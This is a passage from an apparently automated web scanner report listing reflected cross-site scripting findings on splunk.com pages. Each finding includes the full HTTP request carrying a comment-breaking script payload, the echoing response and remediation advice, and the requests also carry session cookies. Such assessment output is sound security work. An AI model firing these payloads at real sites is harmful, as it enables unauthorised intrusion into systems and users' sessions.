Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:15:06 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:45:06 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:45:06 GMT; path=/
ETag: eeec607825549ba0d5b647d9dcf9e23d1296944107
Last-Modified: Sat, 05 Feb 2011 22:15:07 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18367

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>60a40edd839/SP-CAAACCS -->
...[SNIP]...

4.525. http://www.splunk.com/view/benefits/SP-CAAACCS [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/benefits/SP-CAAACCS

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload 276aa--><script>alert(1)</script>d1fc95e74a3 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/benefits/SP-CAAACCS276aa--><script>alert(1)</script>d1fc95e74a3 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:15:40 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:45:40 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:45:40 GMT; path=/
ETag: 15661cf4c768ab99722c9d0cf5b106361296944140
Last-Modified: Sat, 05 Feb 2011 22:15:40 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18367

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>d1fc95e74a3 -->
...[SNIP]...

4.526. http://www.splunk.com/view/benefits/SP-CAAACCS [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/benefits/SP-CAAACCS

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 3026b--><script>alert(1)</script>e2ce8ffbb79 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/benefits/SP-CAAACCS?3026b--><script>alert(1)</script>e2ce8ffbb79=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:13:58 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 41f62084b25cf5cc695cda4f5daea6ed1296944038
Last-Modified: Sat, 05 Feb 2011 22:13:58 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 30757

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>e2ce8ffbb79=1 -->
...[SNIP]...

4.527. http://www.splunk.com/view/business-analytics/SP-CAAAFXH [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/business-analytics/SP-CAAAFXH

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 216fd--><script>alert(1)</script>bcbccd79d54 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view216fd--><script>alert(1)</script>bcbccd79d54/business-analytics/SP-CAAAFXH HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:16:02 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:46:02 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:46:02 GMT; path=/
ETag: 33b50f47a85ee6840d607386e53546cd1296944163
Last-Modified: Sat, 05 Feb 2011 22:16:03 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18407

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>bcbccd79d54/business-analytics/SP-CAAAFXH -->
...[SNIP]...

4.528. http://www.splunk.com/view/business-analytics/SP-CAAAFXH [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/business-analytics/SP-CAAAFXH

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 554ca--><script>alert(1)</script>600f61871ef was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/business-analytics554ca--><script>alert(1)</script>600f61871ef/SP-CAAAFXH HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:16:30 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:46:30 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:46:30 GMT; path=/
ETag: 0a427f120f19924b275e763c5e9862cb1296944191
Last-Modified: Sat, 05 Feb 2011 22:16:31 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18407

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>600f61871ef/SP-CAAAFXH -->
...[SNIP]...

4.529. http://www.splunk.com/view/business-analytics/SP-CAAAFXH [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/business-analytics/SP-CAAAFXH

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload 58755--><script>alert(1)</script>93df2ca7ad8 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/business-analytics/SP-CAAAFXH58755--><script>alert(1)</script>93df2ca7ad8 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:16:59 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:46:59 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:46:59 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18407

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>93df2ca7ad8 -->
...[SNIP]...

4.530. http://www.splunk.com/view/business-analytics/SP-CAAAFXH [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/business-analytics/SP-CAAAFXH

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 5ce8a--><script>alert(1)</script>273eeac0383 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/business-analytics/SP-CAAAFXH?5ce8a--><script>alert(1)</script>273eeac0383=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:15:15 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 32502

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>273eeac0383=1 -->
...[SNIP]...

4.531. http://www.splunk.com/view/careers/SP-CAAAAGG [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/careers/SP-CAAAAGG

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload d6fec--><script>alert(1)</script>6766303683c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /viewd6fec--><script>alert(1)</script>6766303683c/careers/SP-CAAAAGG HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:17:45 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:47:46 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:47:46 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18363

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>6766303683c/careers/SP-CAAAAGG -->
...[SNIP]...

4.532. http://www.splunk.com/view/careers/SP-CAAAAGG [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/careers/SP-CAAAAGG

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 6c606--><script>alert(1)</script>25166e88644 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/careers6c606--><script>alert(1)</script>25166e88644/SP-CAAAAGG HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:18:22 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:48:22 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:48:22 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18363

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>25166e88644/SP-CAAAAGG -->
...[SNIP]...

4.533. http://www.splunk.com/view/careers/SP-CAAAAGG [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/careers/SP-CAAAAGG

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload cba06--><script>alert(1)</script>5161bd1b4b3 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/careers/SP-CAAAAGGcba06--><script>alert(1)</script>5161bd1b4b3 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
